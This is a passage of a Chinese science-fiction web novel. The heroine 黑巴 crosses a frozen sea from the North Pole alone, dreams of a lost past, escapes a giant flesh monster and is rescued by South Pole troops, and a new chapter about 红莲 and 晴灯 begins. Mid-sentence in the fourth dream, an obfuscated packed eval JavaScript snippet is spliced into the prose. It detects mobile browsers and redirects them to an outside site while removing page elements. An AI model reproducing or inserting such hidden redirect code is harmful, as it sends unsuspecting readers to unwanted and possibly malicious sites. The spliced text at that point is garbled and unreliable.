黑巴讨厌北极世界，但不讨厌黑家，烈风和强风是她锻炼身体的老师和对手，贝比虽然表面势力，但骨子里有贝家人没有的人情味，天思和天兮经常教授给她指挥作战的知识，黑白一会像个长者说些复杂难懂的道理，一会像个孩子做些制衣裁缝活，改进了岸防队服，美观又有御寒科技。 最后，她想到了黑家主，母亲总是想当然的安排着她的命运，待在博物馆都市不会死，还能进化成灵能体永生，是夜星所有人的梦想，但她不想。 她也仰慕母亲，尽了生命中每一份力量去变强，然后承担起大家的命运。 再这样就不是我了，死也不能死在这。 黑巴不想离开，却更不想耗在岸防连城里，她感觉到北极有毁灭的味道，或者说自己要毁灭了的味道。 海洋冰面无线延伸与夜空连为一体发出幽蓝的光泽，这前路渺茫，她不敢回头看，迎着海风，望向蓝光，眼中泛着泪光，铺好物资袋里的御寒布片，这是她骗黑白说学裁缝要来的，她低头推着雪橇，慢慢的离开了北极的土地。 雪橇向南行驶30公里，就离开了灵能飞艇的光照范围，气温骤然变冷，且越往南越冷。 但是，黑巴要顶风驾驶100公里让雪橇到达极限速度，再开启定速巡航，这样她就能躺进卧舱盖上布片等着雪橇自动前往南极了。 面罩呼吸器使她喘气都费力，刺骨的寒风让她刚动过的肢体下一秒就变的僵麻，感觉自己也许在最初的100公里就冻死了，她冷笑着。 身体的求生本能开始入侵她的意识，心里不断涌现折返的念头。 “我是黑巴，从不屈服。” 她默念，咬牙默念，渐渐适应了寒冷，也许是身体被冻僵了，没了感觉。 天海之间，广大无垠。 夜幕下，万里冰面上只有一盏车灯，是黑巴孤独的行驶着。 “我就能横穿冰洋！你们北极人身体太弱鸡了！我不穿这御寒科技的岸防制服照样横穿冰洋！” 黑巴尽力回忆些有趣的事情让自己的意识保持清醒，这段回忆是她在酒馆问烈风怎么到的北极。 强风反驳道：“吹吧你就，咱俩是战斗中被黑家主俘虏了，所以到了北极。” “切！那我徒步打到人工岛附近啊！离北极就剩一半路了吧？我们风家的人个个都是超级战士！不穿制服，不用载具照样横穿冰海！” “你说你光着屁股能横穿冰海？” “光着屁股也许不行。” 众人大笑，黑巴也笑了。 她想别人能做到自己也一定能做到，她当然知道风家的部队是有补给，众人协同攻向北极，甚至应该是使用了大型舰艇，但黑巴不想指望别人，她只靠自己，只能靠自己，只有自己能依靠。 她微微低头看了一眼仪表，快到100公里了，动了动四肢，还能动，她很感谢黑白制作的衣服有这样强大的御寒功能，还想起黑白的图书馆中有很多捡来的电子书，收集古代电子书也是她的兴趣之一，阅读古代电子书是被灵能会严格禁止的，队员们在古代城市遗迹执勤的时候都会特意搜索一下有没有电子书，可以跟黑白换取进化评分点数，人们都怀疑黑白的进化评分早就超过6分了。 “巴公主烦闷不如看看古代电子书解闷呀！” 几周前，黑白在图书馆开导即将前往博物馆都市的黑巴。 “有些什么书？我不想看军事著作了，看吐了。” “爱情小说呀！爱情！美好的爱情？” 黑巴一脸茫然的问：“啥是爱情？” “就是古代男女结合前的来往经历吧，我也不懂，但古代人类好像除了黄金，也追求这个！你看看爱情小说！灵魂也许就不纯净啦，说不定就不用去博物馆都市了呢！” “那我试试。” 黑巴只看过一本，讲述牧羊少女投奔贵族少爷的故事，羊是什么？青草，树木这些黑巴从未见过的东西让她读起来很吃力，突然想到自己现在就像书中离家出走的少女，又想起黑白说过的一句话。 “该看哪本？你随意拿吧，我跟你说小说有种魔法，就是你随意拿起的书冥冥之中预示着你的命运。” 确实如此啊，黑巴无奈的笑着，她看雪橇里程表早已超过100公里了，就开启定速巡航，艰难的爬进卧舱躺下，埋头进去的时候，她正好看到了北极方向。 层层布片盖在她的身上，她尽量躺的低于卧舱，这样雪橇车头的挡风板能避免寒风继续侵蚀她的体温。 大小姐的愿望 黑巴出走9小时后，人们发现了她的脚印。 “黑白大人，有个情况可能需要重视。” 黑白安排完成市民的安置工作，终于松了口气，但要马上给机械生物作战人员编制建档，她低头操作信息库，例行公事的问了一句：“什么事？” “可能因为新市民大量涌入城区吧，第四城区丢失了少量营养剂，城区指挥官认为这个问题需要引起重视，做好防范安排，所以上报到您这。” “噢，丢就丢吧，现在顾不上哪些，嗯？等等，你说哪？” “第四城区！噢，还有个情况，丢失了一台老式小雪橇和三个电池，这挺奇怪的，谁偷雪橇干啥啊，冰面雪橇在雪地上，走不了多远。” “你马上查一下失踪名单！等等，我知道是谁了！丢了多久？” “啊？看痕迹推测5到10小时之间？” 黑白懊恼的狠狠甩飞手杖，她踌躇各个事情的先后顺序，参谋看她的小脸愁成一团，却马上听到命令。 “命令！各城休息4小时以上的市民每9人，不，每12人一队，由一名队员直升队长，每三队找一名原队长直升指挥官，用这个编制作战，训练时长2小时，出击任务按我之前标注的外围机械生物据点，队员人选由各城区指挥官任命。主城区，啧，主城区所有休假的队员和队长全部参与，我临时有事！” 黑白快步推开门，随从参谋小跑到前方隔开人群，她俩几乎是撞开了黑家主办公室大门。 办公桌前分配任务的士官全都呆住了。 黑家主放下笔质问道：“发生了什么！” 黑白垫脚跟随从参谋耳边说了几句，参谋向士官们打了紧急任务的手势，人们立刻离开。 “巴。” “巴？没回博物馆都市吗？” 黑家主低头说了一句，继续签公文。 “巴姐姐走了，一个人偷偷去了南极。” 黑家主拍桌站起大声吼道：“你组织一个精锐中队立刻出发，无论如何也要把她抓回来！” “好，我马上就办！” “等等。”黑家主掩面，坐下沉默了一会儿。 “她还真像我啊。算了，由她去吧。黑白，现在每天都死上千人，生死由命，我不能优待她。” 黑白激动的咆哮了：“可那是巴姐姐啊！” “黑白将军。黑巴并非我所生，只是我的克隆体，作为血亲我已经走后门让她进入博物馆都市了，是她自己放弃了别人梦寐以求的机会，她自己决定横穿冰海前往南极，这是她的事情。” 黑白明白，黑家主的立场，遇到私事就非常为难。 “那这样，我派随从参谋组织小队追捕，办私事的处罚您稍后下达吧，我一个人承担。” 黑家主眼角有些泪痕，说道：“必须能折返，不要因此造成伤亡。” 执行追捕行动的人员们对黑巴印象都不深，她们无法理解她不去博物馆都市，选择冒死横穿冰海的动机，只觉得是大小姐的怪癖吧。 当小队追了90多公里，大部分人员都冻的坚持不住的时候，却不见前方有一点人影，她们意识到了这位大小姐很不简单，也开始怀疑完美的博物馆都市难道不是仙境吗？居然这么可怕吗？ 轰隆！ 远方传来一声巨响。 知道海怪传说的参谋大喊：“是禁忌生物！我们靠近它就会被杀或者被灵能会处决！” 众人停住雪橇面面相觑。 “能量已经用到几乎不够折返了，这样对黑白大人有个交待了，看雷达没有反应，黑巴大人应该已经独自前进了1000多公里，竟然有如此毅力，我们只能祝福她平安到达南极。” 在追捕队折返的这段时间里，黑巴做了许多个梦，都是她从未见过的场景和人。 历史的碎片 梦境1 第一个梦是一个房间，有着古怪的布置，窗子前挡着一些有淡蓝花纹的布，天花板上的有个罕见的圆形灯具发出不均匀的光，一个人类穿着松散的衣物，坐在桌前摆弄着一台古老的电子设备，落后技术制造的LED屏幕上有着看不懂的文字和图片，这个人类脱掉上衣，胸前平坦，这难道是人类男性吗？黑巴在梦中嘲笑自己看爱情小说，居然空想男人了。 不一会儿，这个人从别的房间抬进来一个女生，他摆弄这个女生，又取出一个插满管线的网状头盔，黑巴此时有些惊愕，这个头盔装置的工作原理和孕育罐的知识植入功能很像。 这人给女生戴上头盔，又在电子设备上操作，那女生就清醒了，两人说着什么，他们的关系好像既陌生又熟悉，两人倾诉完就拥抱亲吻，缠在一起，黑巴感到不适后意识就沉眠了。 梦境2 第二个梦，灯光明亮的宽敞实验室，设备全部连向一个酷似孕育罐的透明圆筒，这圆筒比孕育罐大十倍，而且不密封，上下都有管线插入，连接着一位巨大的有银色翅膀的纯银机器人，蘑菇头发型似乎被人精心打理，面容姣好，闭目未动。 一位身穿白大褂的下巴长毛的白发老人在全息屏幕上不停操作着，他激动敲击最后的按钮大喊：“女儿！女儿！” 黑巴惊奇的发现这个梦有声音，马上就听到钢制大门外不断传来撞门声，大门的钢材在一声声撞击中不断变形，白发老者一边喊女儿，一边回头看门，黑巴看的出他心理素质一般，应该是研究员。 “女儿！女儿！女儿！”老人不知道喊了多少遍，机械女性忽的一下睁眼醒来，甚至吓了黑巴一跳，她浮在圆筒中，双手贴着玻璃壁，猛的喊了一句：“父亲！” 和这声呼喊同时爆发的是大门，咚的一声飞进实验室，白发老者这次没回头看，而是马上说出：“我赐你名为天使，命运钥匙只给人类，记住只给人类！” 随之进门的是一群白发的人类青年，都穿着白大褂，站在最前的人对老者说话。 “真凶博士，把命运钥匙给我！” 这人掏出一个道具，黑巴在信息库看过，是古代常见的武器，名为手枪。 他拿枪指着老者后背，看老者双手举高了，才看向圆筒，见机械女性已经启动了，他的表情变得凶狠恼怒。 “你敢启动她，意味着离线AI机器人的管理权限全部归她了！你这个老不死的！” 说罢这人就开枪了，机械女性茫然的看着一切，她先是低头看看倒下的老者，又看看开枪的人，她以人类做不到速度不断上看下看，直到老人的鲜血画出一个小圆。 “父亲！” 在这一声喊叫后整个实验室剧烈震动，屏幕闪烁，扩音器传出语音：“检测到创造主凶真对试作型天使一号机输入语音指令启动成功，凶真本人已无生命体征，执行人类终末计划，已完成对南大陆所有离线AI机器人连接，指令保卫蜂巢，蜂巢生命舱库下沉10%，15%，家园号实验基地内所有有机生命体请在30分钟内离开，否则格杀勿论。” 白发青年们乱成一团，其中一个揪住杀人者哭喊：“天开哥！怎么办啊，我们都要死在这了！” “慌什么，一切都在我的计划之中，我只是试试能不能自己搞到命运钥匙，灵能会的出价只包含干掉这老头，我们拿意识光子给灵能会就又是大功一件了！” “您不带上咖啡吗？她不是您最得意的作品吗？” “它的芯球光通道只请意识光子蚀刻了半球，跟老头造的芯球没发比！反正咖啡是我造的，不被天使管理，先不要了，以后再说，现在保命要紧！” 众人离开后实验室就逐渐坍塌，黑巴忍受不了视线晃动又陷入深眠。 梦境3 第三个梦来到海底管道，海水中到处都是黑巴从未见过的生物，管道里人们边走边张望着透明管道外的生物，大人拉不住小个子的人，他们到处奔跑，队伍就在这种慌乱又兴奋的气氛中前往巨大无比的透明半球形穹顶内部，黑巴看这穹顶极像博物馆都市的穹顶。 画面落在一个红发女孩身上，她面前的大厅摆着糖果和玩偶小熊，人们纷纷跑过去，这女孩第一个拿到小熊后转身向身后的人炫耀，却发现身后什么都没有，只有墙壁。 人们听从工作人员的指引分流进入各个楼层做测试，女孩身前和身后的伙伴越来越少，最后到达的楼层只有一部电梯，女孩和工作人员进入电梯等下降有20分钟，电梯门开，能看到一个外凸的半球形大门，门上印着夜星文字：西大陆癌细胞基培——血肉永生进化实验项目龙宫号基地（雌） 球形大门向一侧打开，露出一滩丑陋无比布满脓包和血管的蠕动肉块，透过漫天的玻璃舱壁，能看到这滩肉其实是一个无穷大的肉块的一小部分，肉块附近的海水泛黄浑浊，飘荡着许多海洋生物残骸。 工作人员对女孩说：“你说话，随便说什么都行，说完就能回去。” 女孩躲到工作人员身后，两人僵持着，女孩忍受不了就问：“说什么！” 这话好像触动了肉块的什么开关，整个肉块猛的抽搐了一下后发出一股波，这波不但在海中形成涟漪，甚至传入舱室，连人体和墙壁都跟着扭曲了一下。 工作人员又说：“你摸一下它，摸一下我们就能走了。” 女孩知道不做会一直僵持，就伸出一个指头一点点的靠近肉块，她几乎只是微微触碰到肉块就扔掉了小熊，表情木然站着不动。 等她回过神就哇哇大哭着跑向门，门也同时开了，一切像是计划好的，工作人员捡起小熊，缓步走回电梯，她等女孩哭够了，就把小熊递给她。 “别哭了，带你去见别的伙伴。” 两人穿梭在楼层和电梯之间，最后来到一层，前台工作人员办理手续，前台的墙上有一行字：总商会所属西大陆龙宫号基地——支线实验项目超能力人类开发实验再生科。 前台工作人员用严厉的口气对女孩说：“小熊不能带进去！” 另一个工作人员说：“哎，阳菲，你可怜可怜这她，就给她吧！” “啧，看你说的，好像只有我冷漠似的，这里哪个人不冷血？就显你热心肠！” 女孩看门开就进去了，里面是餐厅有很多人。 一个年龄大些的女生拦住女孩说：“新来的吧，跟我过来。” 她一把抓住女孩拖着走，她似乎很用力，疼的女孩不停挣扎。 她带女孩坐到一个餐桌前，又有一个小女生把一盘甜点放在女孩面前，桌上无人说话，女孩不停揉着手腕。 “不要揉！”这声音很奇怪，女孩和黑巴同时听不到音量却能明白意思，注意到面前的女生的嘴没动。 “不要揉了，会被人注意的，也不要惊讶，这是我的超能力，我的身体组织侵入别人体内就能用意识交谈，我刚才植入进你的手腕了，有点疼，抱歉啊。你叫什么名字呀？” 女孩刚想张嘴说，对方单指捂嘴说：“嘘！” “试着闭嘴说。” “爱萝。” “好的，小爱萝，我叫福菲，想说一个不幸和一个幸运，你想先听哪一个？” “我想家！” “我们的家人都被那个肉块吃掉了！” 这似乎是旁边女生的意识插话,女孩哭的将要发出声音，另一个女生推了插话的女生。 “别哭，宝贝爱萝，我不想骗你，哎，这是再生科的大家省着吃，攒下来给新人的见面礼，你吃吧，不要哭啦，我错啦，还不行吗。” “福蕾你说话总是不考虑别人感受，爱萝你听我说，福蕾没骗你，你现在是孤身一人了，我们大家都是这样，家人太穷，被总商会蒙骗到这。说点开心的吧，我和别的超能力科取得联络了，综合能力科最近出了一个王牌，神能力者傲雅，她计划逃出去，你什么都不用做，我们行动成功，你跟我们一起走就行。” 女孩边吃边问“很疼吗？” “我们老成员习惯了，最疼的就是再生科，这帮畜生！” 众人边哭边看着女孩吃完点心，黑巴也哭了，她开始感觉这些不是梦，似乎是亲历者的记忆，这些记忆太奇怪了，她想努力记住，又渐渐忘却，朦胧中她按动袖口发出语音指令。 “信息库记录今天的梦境。” 随后，黑巴又冷又困，心中交杂对邪恶的愤恨，渐渐睡去。 梦境4 第四个梦更奇怪，夜星的天空居然是蓝白色的，像博物馆都市模拟出的天空，蓝天白云之下是广阔的沿岸建筑工地，黑巴注意到海在北侧，是南极！ 工地上的机械正在拆除一座高耸入云的螺旋铁塔，塔旁开始修建四座巨型仓库，工地边的高山上有两个人指挥人群施工挖坑，他俩交谈的环境地上到处是绿色的植被，还有不明生物在其中飞翔。 “工地上那个指手画脚的机器女人是谁啊！怎么比人类的权还大！” “人家有自我意识啊！你客气点儿！她叫咖啡，有名字的，她不久前还是南大陆机器人服务公司的总经理，帮联军打灵能会，最终战争输了，所以加入灵能会了。” “哦！这坑是干什么的？” “灵能会的项目，叫啥生长金属实验。” “铁还能长高啊？哎试试这个。” “能啊，这啥？” 红发的人从盒子里抽出一根食物。 “这叫营养棒，总商会最新的产品，吃一根，浑身舒服的很，几天不用吃饭不用睡觉！” 黑发的人接过来闻闻后送进嘴里。 “哎现在灵能会说的算，啥啥都是灵能会，你是从西边来的吧，兄弟叫啥呀。” “阳可，嗯西大陆别提了，生化灾害，500年前就没活人了，我是从北大陆来的，为躲灵能风暴的灾害，人们说只有南大陆不产生灵能风暴，有超能力者联盟的保护网，我这不就来了，又赶上最终战争，修了几年防御工事，光星人类反灵能会联盟最后集结的2000万人军队啊，一眨眼功夫就被灵能会的王牌星神打败了！超能力者联盟就稀里糊涂的自爆了，你看看山后面炸这么大一坑，反啥灵能会啊，有病似的，天狼星人是外星人，能打的过吗！” “灵能风暴是真的，我见过，我那时就在这山上玩，天晴的和今天一样，城市上空突然有个光球，我还拍了一张，给你看看。” “哦，还挺好看的，白不拉几的一个圆球。” 黑发的人收起设备继续说：“嗯，好看，我看着，看着，突然嗡的一声！光球爆炸，刮起大龙卷风，裹着黑云和闪电，那风上面是一圈圈云环，下面吐着云流，像那个什么，对，水母。风静了，几千万人的城市就没人了。” “没人了？” “嗯房子和车子都在，人和动物都没了。” “原来这么可怕啊，那超能力者联盟来了就真没灵能风暴了？” “嗯，确实没了，全世界的人就都往南大陆涌，人们也开始反灵能会，前几个月的最终战争，光星人类反灵能会联盟和超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875281|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力联盟都输了，人类的时代结束了。” “哎？哥你原来干啥的？给，再来一根营养棒。” 金发人接过红发人递过的食物。 “我祖上是太空计划署的工程师啊，这不就一直干工地的吗？原来在天上建，现在回地上建。” “那好好的太空城市咋就说停就停了呢？” “这可就涉及极密了啊。”他说完走几步看向山后，山体被不明力量挖成一个凹坑，坑内到处飘着银白色羽翼的机械人，它们似乎维修嵌入山体内的圆柱形建筑。 金发人再放眼看这坑几乎占满整个大陆，上百个城市都消失在了坑中，他作为幸存者，不禁陷入沉思。 “哥，这些蝴蝶翅膀的机械人是啥啊，我以前来这家山，咋没见过？” “噢，蝴蝶天使，你别靠近，她们家被炸坏了，气头上呢，靠近就拿激光打你，平时不这样，我小时候有个都市传说，遇到一只蝴蝶天使，就会有好事发生。” 红发人挠挠头说：“那咱俩以后全是好事，今天看到这么多蝴蝶天使。” “哎这年头活着就是好事了，反正现在是灵能会做主，世协早跨了，没啥极密了，不过很少有人知道这件900年前的大事，我们做太空工程的都知道，月星人断联了。” “啊？” “跟光星分开了，那年代真的是极密，天上的人们都感觉回不来了，世协切断了所有太空人和光星的联络，生怕传出去。紧急终止了一切太空工程，50多座太空城不停的往近轨运人，环光星太空城市环只差20%就闭环了，结果下令解体。” “啧啧，那人们都回来了吗？月星的人们咋样了？” “不知道，月星应该是没活人了，传闻说，有些船上的人透过舷窗看到月星被核弹轰炸了好几遍。” “哎，没了太空计划所以不要这太空电梯塔了。” “古人的努力啊，说拆就拆吧，以后走外星科技了，就是这个叫啥生长金属，原理莫名其妙的，我们施工方都去简单学习了，好像是用啥时空通道从天狼星传输过来这个金属的存在。” “存在？啥叫个存在？有就是有，没有就是没有，存在是啥意思啊，我看不靠谱！” “你懂啥，人家灵能会的学者说了就叫存在，这块铁看着在这，其实是在天狼星！铁的存在空间被传输到光星。” “搞这么玄乎有啥用？” “用处可大了，这种金属不可破坏。” “我去，真的吗？啥都破坏不了它？” 金发人走到一个坑前指挥过深度后说：“啥都破坏不生长金属，按学者讲的原理，因为这种金属本体不在光星，只是存在空间投射到这，某种攻击的能量大到超过传输这块生长金属的全部能量时，才会使得这种金属消失。你想，它叫生长金属，其实就是不断传输过来的能量团，所以生长，如果金属的体积足够大，啥攻击能把维持整块金属存在的时空能量打回天狼星？” “噢，这叫慢工出细活啊。” “对，人家这才叫慢工出细活，搞一块能用的飞艇外壳得生长很久。” 梦醒。 如果你是在睡梦中被缓缓夺走体温，那么冻死并不痛苦。疼痛却来源于新的热量。 黑巴醒了，她的个性使然，想用矫健的身手立刻坐起来，被沉重的冰雪冻牢的层层布片像爱情小说中牧羊少女在森林见到的白雪公主水晶棺木，她的身体毫无知觉，也像那个长眠于俗世之外的无暇玉体，她无奈的想象棺木外面也有一尊白玉制成的死亡女神雕像，就这样平和的看着她所承受的残酷。 “电力耗尽，电力耗尽。” “警告！您已离开北极在线AI信息库信号范围，无法更新数据，信息库自动进入离线模式。” 雪橇的电力警报和制服的信息库离线警报交替作响，黑巴无法忍受这种啰嗦，她的双臂像两个重重的石柱，她靠这对石柱支撑身体坐起，布片上的冰层断裂声像齿轮咬合的计数，记录她的每一下努力。 周围的狂风歇止，蓝白的冰面折射来远方的光使一切幽暗，黑巴坐看雪橇用残余的动力向南缓缓滑行。 远方传来咕隆咕隆的巨响，早已麻痹的神经不做任何反应，她只是呼吸着渐渐变暖的空气，感觉全身胀痛，她站在雪橇上抵消掉最后的动力。 这时候不要去想，不要去管，人只能按求生本能做事，推掉发硬的布片，双手拉住一个电池，身体像外栽倒，连带着取出了电池。 摔在坚硬冰面的和电池砸在小腿的痛感都没让她停顿，她又爬进卧舱，双手夹住营养剂松到嘴边，好在这食物封口是感应原理，黑巴的嘴等了很久，封口融化，营养剂随设计罐压自动缓缓送入口中。 她肢体的麻痹感渐渐好转了，随之而来的疼痛说明她已经严重冻伤了，忍痛在冰面上做着运动，她等身体恢复了灵敏，面带微笑伸着懒腰，如同一朵殷红黑花瓣的傲世玫瑰。 黑巴活动手指，换好电池，撕开冻连住的布片，抖掉一层层的冰雪，坐到舱边，等待空气中的热量补满体温，她感知冰海面，这与世隔绝之所。 死亡带走了夜星历史中的一切，也不对。 人活着，也是这样与世隔绝。 交流，沟通，交易都从不触及这份孤独的真实。 海风徐徐，冰面致冷，永夜幽幽，只身一人。 她生命中的每秒都具备这份心境，只不过现在的环境让她的身心与世界同频，不再做无用的争辩，不再姑息俗恶，不再被假象蒙蔽，不再对外界期待，只行自己所想，想自己所行。 还有向南驾驶100公里的行程，黑巴思考着别人，她发现即使是至善之人也总喜欢姑息和妥协，使世界恶化成为无法改变的困局，她以前对此现象就有直觉式的反感，现在是看破式的无言。 我仅能尽我所能，她对自己说。 黑巴吃营养剂的功夫，冰面剧烈震动使雪橇侧翻，她滑行一步稳定的站住，看夜空飞起三个5000平米大小的冰块，余冰腾散，冰块砸地再次腾出一阵白雾，雾中激烈抽搐的肉条升天，冲进冻云层后，拧在一起形成一根肉柱，黑巴目测这肉柱与夜星的比例，相当与人类的辫子和脑袋。 震动足以传播冰面全境，如果不是永夜，站在博物馆都市建筑的楼顶都可以看到这根肉柱，随后天空中传出一声沉闷的撞击声，这声音足以传遍海岸。 肉柱松散成一根根的肉条，排列如花朵状，然后弯曲的伸向天空，最近的一根被黑巴看的清清楚楚，是遮天蔽地的血肉触须，上面的脓包血管与梦中的海底肉块的样子完全一致。 触须旋拧蓄力，黑巴此时心中有了恐惧。 “要死！”她暗自说了一句就扶起雪橇，抵抗着震动用力推行。 她看触须从头顶落下，闭眼等死。 咚!呜！ 巨响有狂风，黑巴骑上雪橇，驶往反风方向。间隙，她看到狂风中心是多条触须形成螺旋，这怪物意图扫击冰面上的生物，幸好触手长度远不及黑巴所处位置。 狂风过去，触手汇聚的黑暗之中，吐出阵阵血雾，一股股暖风同时向黑巴涌来。 “冰海深处的热量就是你吗？谢谢你救了我。” 怪物边吐血雾，边发出凄厉繁杂的哀嚎。 她说完认真倾听，这杂音由成千上万人的怨叹汇集而成。 有的说：“我为什么要还钱？” 有的说：“你口口声声说只爱我一个！” 有的说：“我为你付出了这么多！你却要嫁给别人？” 有的说：“小丫头片子你咋不去死！像你爸爸一样只知道朝我要钱！” 有的说：“我外甥死了，这房子应该归我！你再动手！我就捅死你！” 有的说：“你说你单身！我才和你在一起！现在孩子都有了！” 有的说：“妈妈，爸爸，再见了！” 有的说：“赶紧还钱！要不我弄死你！” 有的说：“这利息已经滚了40倍啦，你以后的人生归我们了。” 黑巴难以想象这是人类的语言，她想起来黑白常说夜星历史中的人类早已不可救药。 “怪物，谁是怪物呢？” 黑巴说着，重新戴好面罩，整理散乱的物品，向南出发。 怪物的恶不过是饥饿，制造怪物的恶念却非一日产生，世人根深蒂固的心魔让夜星毫无悬念的走到今天。 她沉思着驾驶，没想到在下次冻僵之前，就看远方明亮的白色金字塔，靠近一会儿后听到低沉哐当声，这是灵能飞艇的光效。 雪橇进入光照范围能渐渐看清人工岛，这是由12800根钢柱支撑起的五万平方公里的超大海上平台，高95米，始建于新元320年，是世协第一届进化会议确立机械永生进化项目的太空工程之一，用作四块大陆永结同心的象征。在机械工业空前繁荣的年代，夜星人类得以建造如此规模的海上平台，迁入了1500万名技术移民，计划在平台上建设第三天梯，即通往环光星太空城市环的电梯。 几千年来，南北极间爆发过无数争端，但双方都克制并珍惜着这座海上建筑，因为人类再无能力创造这种伟业了，如今平台上没有人类，由灵能会占据，作为管理南北极各据点的中转站，再未有人类进入人工岛。 “必须绕一段路吗？绕多远呢？” 黑巴个性中的傲慢让她忘记计算绕行人工岛的距离。 新元1220年的最终战争，拥有天狼星技术的灵能会以压倒性的优势击败人类联军，自此灵能会无敌的武力成为大自然的一部分，是夜星人心中的禁忌。 如果是人类的武装，黑巴还有自信逃脱。 她规划了一个圆弧形的导航路线并密切观察人工岛上的情况。 岛上空中飞着两个人形物体，之前没有，似乎随着黑巴靠近人工岛，岛上的人形物体的数量也在变多。 “啧！” 黑巴咂嘴，雪橇加大绕行距离，她眼看着一个人形物体飞向自己，绕弯度已经向东直开了，该物体继续逼近黑巴，她能感觉到这东西就在身后，于是停住雪橇，转身看它。 是一只有翼侍灵高空对视，毫无接缝银色连体衣显得诡异，无口无眼的白色面甲后面，果冻状的水母头呼哧呼哧上下蠕动，头里伸出的管线做着不规律的扭动，它与岸防连城常见的侍灵的区别，就是银白胸甲后安装着一对透明机翼不停煽动，黑巴看它的手没拔腰后的双剑，推测它没进入攻击模式。 黑巴指了指向南，有翼侍灵毫无反应，她就向南开了，该侍灵就在西侧高空一路监视她。 按照灵能会的进化说明：侍灵原本是爱着夜星的人类，自己成为灵能体后，没去天狼星，为了帮助其他人类更有效率的进化，自愿滞留在夜星的灵能体。 雪橇绕回向南的路程里，黑巴还在这只侍灵的监视下，换了一次电池，她想不明白夜星人为什么想进化成这种奇怪的东西，这东西真的永生吗？看着无法沟通，那侍灵木讷的样子，根本看不出来是死的还是活的。 黑巴再驶出人工岛的光照范围又没电了，那只侍灵不知道什么时候离开了，黑巴换完电池不久就感觉可能因为一路被侍灵监视使得自己太过紧张，这次陷入严寒后她迅速疲劳难忍，缩在卧舱里眯着，无力感乘虚而入，尽力了，她重复这句安慰着自己，大脑搜集着能反驳自己论点的回忆，偏偏是和贝比的一次交谈。 “假如努力有用，那主宰夜星的应该是机器！你看啊，巴公主，机器多努力，日夜不停的干。” 黑巴忘记回忆里的自己回答了什么。 “别傻了，巴公主，强者就是进入更高的圈层，掌握一些资源，你看你现在就比大家都强，是博物馆都市的市民了，你在那谋个职，你有黑家主这层关系不难的，接应姐妹们更顺利的加入博物馆都市，咱们越进，人越多，资源越多，大家一起变强嘛，这才是正路啊公主大人！安心的去，好好干，没你想的那么烦。” 黑巴知道贝比是好心安慰，她贝家的思维很难剥离利益关系，她总是把好意和利益混在一起说，相处久了就明白她不做害人勾当，黑巴想到这，用微弱的力量笑着。 她明白自己已经撑不到南极了，很快电力警报证明了这点。 她起来走了，虚弱了，也凋谢了。 前路幽暗，绝望与她并肩而行。 这株待放于寒世的高傲花朵，执着的走向目标，耳畔的微风似乎传来低语。 你在追求什么？ 到达南极。 我们追求爱。 爱？ 好想被人爱着啊。 被谁？ 我们爱动物，喜欢狗，喜欢老虎，喜欢鸟，喜欢大象。 我听不懂。 我们爱自然，可是，环境为什么永远这么冷呢？ 没有光。 我们感觉到了。 什么？ 北极的黑暗，诞下一朵超越生死的火红莲花，即将照亮夜星。 你是谁？ 我们是思念，思念着所爱的一切。 黑巴倒地后心里一直和微风对话，她明白自己幻听又幻视了。 黑幕中，巨大橡胶气垫停在黑巴脸前，一闪出现猛烈的灯照，显现南极特有的大型气垫船，这古老的载具，缓慢而脆弱，南极守军通常采取灯光管制以降低被发现的概率。 一个士兵揪起黑巴的衣领拖着走了数米又扔下。 另两台大型气垫船里下来三排士兵和一个士官，士官蹲下拨弄了黑巴的头发。 “玛丽安团长，发现这具尸体。” 士官摘下帽子夹在腋下，波浪红发被车灯照的明亮，她自然的甩动头发流露着强势。 “你们开枪了？” “没有。” 士官自信的嘴角展现出让人们放松的笑容。 “这人没死，下次不许拖个人就说尸体。” 士兵们敬礼回应，她就继续说：“我刚才摸了一下这人眼皮还动，她就是我下午侦察发现人工岛东侧的白点。” “是间谍吗？” “间谍？哈哈，这是个蠢货，北极岸防卫队通过人工岛后必然回到直线距离，利用人工岛的灯光掩护行踪，这人绕行的路线超出飞艇光照范围向东行驶了很久，漆黑的海岸线，她特别显眼。” 玛丽安蹲下把黑巴搂在怀里感受过温度，表情凝重的说：“这人像冰块一样，居然还活着。” “报告：北700米，发现这辆雪橇！” 人们看向一个冰雕，整个雪橇被冰覆盖了几层，推动一下能听到通常高温不易结冰的传动装置都冻住了，只有卧舱的露出一小片垫子。 “这个人难道说？” 玛丽安摸了摸传动装置的余温后说：“横跨夜星！横穿冰海。” “这不可能吧！团长！” “把我的大衣给她盖着，扶上你们的车，按伤兵急救，一刻不停的送往后勤医院。” 她脱下大衣上车后和参谋官议论道：“这个人在极寒的环境里，孤独的行驶了30个小时以上，不管她是蠢货还是间谍，单凭这份意志，已是稀世人才。” 4. 章4北极：随波逐流 新元4027年，夜星人类制造的居住舱具有极佳的隔音性能，但嘈杂和震动持续在晴灯这简陋的昏暗的实验室里，使得她随意搁置的工具和螺丝偶然震落，有时连大型设备的底座也跟着挪动了一点。 先天激素紊乱使红莲患有严重的低糖症。 然而，只要她的意识醒来就会立刻执着某种行动，过度劳累让她又患上了贫血，身体被房间里异响吵醒了，思维却只清醒了一半，这位少女拉好宽松纯白连衣裙的领口，侧腿坐在床上。黑色长发盘绕着她纤瘦又强健的身体，这是她努力抓住命运的证明，头发太长导致发梢有些卷曲，对杂音的本能反应使她隔着墙张望着外面，又看向布满机械臂的工作台，晴灯却站在长条窗口向外看着。 红莲不知道拖鞋丢哪了，她俩搬来岸防连城是到了第4天，只要与科研无关的物品都有可能在搬家中丢失。她伸长白皙的小腿，穿上士官长靴，走动的时候随手抓了一把剪刀，路过三维打印机点按后，又做了一双拖鞋，走到浴室门口才发现了旧拖鞋，这个失误令她印象深刻。 嘈杂不会停止，晴灯听红莲醒来了，转身看红莲穿着拖鞋，半蹲在排水口用剪刀一缕缕的剪着头发，晴灯想说什么但又没说，走回工作台，将灯效换成蓝光。 “任务？” “啊噢，活捉一只小型机械生物。” 晴灯说完，听到洗澡声，想全身心投入到研究中。 